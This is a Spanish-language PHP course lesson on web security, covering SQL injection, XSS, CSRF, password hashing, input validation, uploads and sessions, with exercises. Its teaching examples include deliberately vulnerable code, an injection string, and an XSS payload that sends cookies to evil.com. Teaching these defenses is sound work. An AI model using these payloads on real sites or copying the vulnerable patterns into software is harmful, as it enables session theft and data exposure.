Seguridad en PHP
La seguridad es fundamental en cualquier aplicacion web. Conocer los ataques mas comunes y como prevenirlos te ayudara a proteger tus aplicaciones y los datos de tus usuarios.
SQL Injection
SQL Injection ocurre cuando un atacante puede insertar codigo SQL malicioso a traves de datos de entrada. Es uno de los ataques mas peligrosos y comunes.
<?php
declare(strict_types=1);
// VULNERABLE: concatenacion directa
$email = $_POST['email'];
$query = "SELECT * FROM usuarios WHERE email = '$email'";
// Un atacante podria enviar:
// email = "' OR '1'='1"
// Resultado: SELECT * FROM usuarios WHERE email = '' OR '1'='1'
// Esto devolveria TODOS los usuarios!
<?php
declare(strict_types=1);
// SEGURO: usar prepared statements
$pdo = new PDO('mysql:host=localhost;dbname=app', 'user', 'pass');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$email = $_POST['email'];
// El valor se pasa como parametro, nunca se concatena
$stmt = $pdo->prepare('SELECT * FROM usuarios WHERE email = :email');
$stmt->execute(['email' => $email]);
$usuario = $stmt->fetch(PDO::FETCH_ASSOC);
// Alternativa con marcadores de posicion ?
$stmt = $pdo->prepare('SELECT * FROM usuarios WHERE email = ?');
$stmt->execute([$email]);
NUNCA concatenes datos de usuario directamente en consultas SQL. Siempre usa prepared statements.
XSS (Cross-Site Scripting)
XSS permite a un atacante inyectar scripts maliciosos en paginas que otros usuarios veran. Puede robar cookies, sesiones o datos.
<?php
declare(strict_types=1);
// VULNERABLE: mostrar datos sin escapar
$nombre = $_GET['nombre'];
echo "<h1>Hola, $nombre</h1>";
// Un atacante podria enviar:
// ?nombre=<script>document.location='http://evil.com/robar.php?cookie='+document.cookie</script>
<?php
declare(strict_types=1);
// SEGURO: escapar HTML con htmlspecialchars
$nombre = $_GET['nombre'] ?? '';
$nombreSeguro = htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8');
echo "<h1>Hola, $nombreSeguro</h1>";
// Crear funcion helper para no repetir
function escape(string $texto): string
{
return htmlspecialchars($texto, ENT_QUOTES, 'UTF-8');
}
// Uso
echo "<p>" . escape($comentario) . "</p>";
CSRF (Cross-Site Request Forgery)
CSRF engana al usuario para que ejecute acciones no deseadas en un sitio donde esta autenticado.
<?php
declare(strict_types=1);
// Generar token CSRF
function generarTokenCsrf(): string
{
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
// Verificar token CSRF
function verificarTokenCsrf(string $token): bool
{
return hash_equals($_SESSION['csrf_token'] ?? '', $token);
}
<!-- En el formulario HTML -->
<form method="POST" action="/transferir">
<input type="hidden" name="csrf_token" value="<?= generarTokenCsrf() ?>">
<input type="text" name="cantidad">
<button type="submit">Transferir</button>
</form>
<?php
declare(strict_types=1);
// Al procesar el formulario
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$tokenRecibido = $_POST['csrf_token'] ?? '';
if (!verificarTokenCsrf($tokenRecibido)) {
http_response_code(403);
die('Token CSRF invalido');
}
// Procesar la accion...
}
Hashing de contrasenas
Las contrasenas nunca deben guardarse en texto plano. PHP proporciona funciones seguras para hashear y verificar.
<?php
declare(strict_types=1);
// INCORRECTO: nunca uses md5 o sha1 para contrasenas
$hash = md5($password); // INSEGURO
$hash = sha1($password); // INSEGURO
// CORRECTO: usar password_hash
$password = $_POST['password'];
// Crear hash al registrar usuario
$hash = password_hash($password, PASSWORD_DEFAULT);
// Guardar $hash en la base de datos
// Verificar al hacer login
$hashGuardado = obtenerHashDeBD($email);
if (password_verify($password, $hashGuardado)) {
// Contrasena correcta
$_SESSION['usuario_id'] = $usuario['id'];
} else {
// Contrasena incorrecta
}
<?php
declare(strict_types=1);
// Verificar si el hash necesita actualizarse (algoritmo mejorado)
if (password_needs_rehash($hashGuardado, PASSWORD_DEFAULT)) {
$nuevoHash = password_hash($password, PASSWORD_DEFAULT);
actualizarHashEnBD($usuarioId, $nuevoHash);
}
Validacion de entrada
Nunca confies en datos que vienen del usuario. Siempre valida y sanea toda entrada.
<?php
declare(strict_types=1);
// Validar email
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
if ($email === false || $email === null) {
die('Email invalido');
}
// Validar entero
$edad = filter_input(INPUT_POST, 'edad', FILTER_VALIDATE_INT);
if ($edad === false || $edad === null) {
die('Edad invalida');
}
// Sanear texto (eliminar HTML)
$comentario = filter_input(INPUT_POST, 'comentario', FILTER_SANITIZE_SPECIAL_CHARS);
// Validar URL
$url = filter_input(INPUT_POST, 'url', FILTER_VALIDATE_URL);
// Validar con opciones
$precio = filter_input(INPUT_POST, 'precio', FILTER_VALIDATE_FLOAT, [
'options' => ['min_range' => 0, 'max_range' => 10000]
]);
Subida segura de archivos
<?php
declare(strict_types=1);
function subirImagen(array $archivo): string
{
// Verificar que no hubo errores
if ($archivo['error'] !== UPLOAD_ERR_OK) {
throw new RuntimeException('Error al subir archivo');
}
// Verificar tamano (max 2MB)
$maxSize = 2 * 1024 * 1024;
if ($archivo['size'] > $maxSize) {
throw new RuntimeException('Archivo demasiado grande');
}
// Verificar tipo MIME real (no confiar en extension)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$tipoReal = $finfo->file($archivo['tmp_name']);
$tiposPermitidos = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($tipoReal, $tiposPermitidos, true)) {
throw new RuntimeException('Tipo de archivo no permitido');
}
// Generar nombre aleatorio (no usar nombre original)
$extension = match ($tipoReal) {
'image/jpeg' => 'jpg',
'image/png' => 'png',
'image/gif' => 'gif',
default => throw new RuntimeException('Extension desconocida'),
};
$nombreNuevo = bin2hex(random_bytes(16)) . '.' . $extension;
$rutaDestino = '/var/www/uploads/' . $nombreNuevo;
// Mover archivo
if (!move_uploaded_file($archivo['tmp_name'], $rutaDestino)) {
throw new RuntimeException('Error al guardar archivo');
}
return $nombreNuevo;
}
// Uso
$nombreArchivo = subirImagen($_FILES['imagen']);
Configuracion segura de sesiones
<?php
declare(strict_types=1);
// Configurar antes de session_start()
ini_set('session.cookie_httponly', '1'); // No accesible via JavaScript
ini_set('session.cookie_secure', '1'); // Solo HTTPS
ini_set('session.cookie_samesite', 'Strict'); // Proteccion CSRF
ini_set('session.use_strict_mode', '1'); // Rechazar IDs no generados por servidor
session_start();
// Regenerar ID despues de login (previene session fixation)
function loginUsuario(int $usuarioId): void
{
session_regenerate_id(true);
$_SESSION['usuario_id'] = $usuarioId;
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
}
// Verificar sesion en cada peticion
function verificarSesion(): bool
{
if (!isset($_SESSION['usuario_id'])) {
return false;
}
// Verificar que IP y User-Agent no cambiaron
if ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
return false;
}
if ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
return false;
}
return true;
}
Ejercicios
Ejercicio 1: Proteger consulta SQL
Convierte esta consulta vulnerable en una segura:
<?php
$id = $_GET['id'];
$nombre = $_POST['nombre'];
$query = "UPDATE productos SET nombre = '$nombre' WHERE id = $id";
Ver solucion
<?php
declare(strict_types=1);
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
$nombre = $_POST['nombre'] ?? '';
if ($id === false || $id === null) {
die('ID invalido');
}
$stmt = $pdo->prepare('UPDATE productos SET nombre = :nombre WHERE id = :id');
$stmt->execute([
'nombre' => $nombre,
'id' => $id
]);
Ejercicio 2: Escapar salida HTML
Haz seguro este código que muestra comentarios de usuarios:
<div class="comentarios">
<?php foreach ($comentarios as $c): ?>
<div class="comentario">
<strong><?= $c['autor'] ?></strong>
<p><?= $c['texto'] ?></p>
</div>
<?php endforeach; ?>
</div>
Ver solucion
<?php
declare(strict_types=1);
function e(string $texto): string
{
return htmlspecialchars($texto, ENT_QUOTES, 'UTF-8');
}
?>
<div class="comentarios">
<?php foreach ($comentarios as $c): ?>
<div class="comentario">
<strong><?= e($c['autor']) ?></strong>
<p><?= e($c['texto']) ?></p>
</div>
<?php endforeach; ?>
</div>
Ejercicio 3: Sistema de login seguro
Implementa verificacion de contrasena segura:
<?php
// Tienes: $email y $password del formulario
// Tienes: funcion buscarUsuario($email) que devuelve ['id', 'email', 'password_hash']
// Implementa el login seguro
Ver solucion
<?php
declare(strict_types=1);
session_start();
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$password = $_POST['password'] ?? '';
if ($email === false || $email === null || $password === '') {
die('Datos invalidos');
}
$usuario = buscarUsuario($email);
if ($usuario === null) {
// No revelar si el email existe o no
die('Credenciales incorrectas');
}
if (!password_verify($password, $usuario['password_hash'])) {
die('Credenciales incorrectas');
}
// Regenerar ID de sesion para prevenir session fixation
session_regenerate_id(true);
$_SESSION['usuario_id'] = $usuario['id'];
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
// Verificar si el hash necesita actualizarse
if (password_needs_rehash($usuario['password_hash'], PASSWORD_DEFAULT)) {
$nuevoHash = password_hash($password, PASSWORD_DEFAULT);
actualizarHash($usuario['id'], $nuevoHash);
}
header('Location: /dashboard');
exit;
Has encontrado un error o tienes una sugerencia para mejorar esta leccion?
EscribenosTe está gustando el curso?
Tenemos cursos premium con proyectos reales y soporte personalizado.
Descubrir cursos premium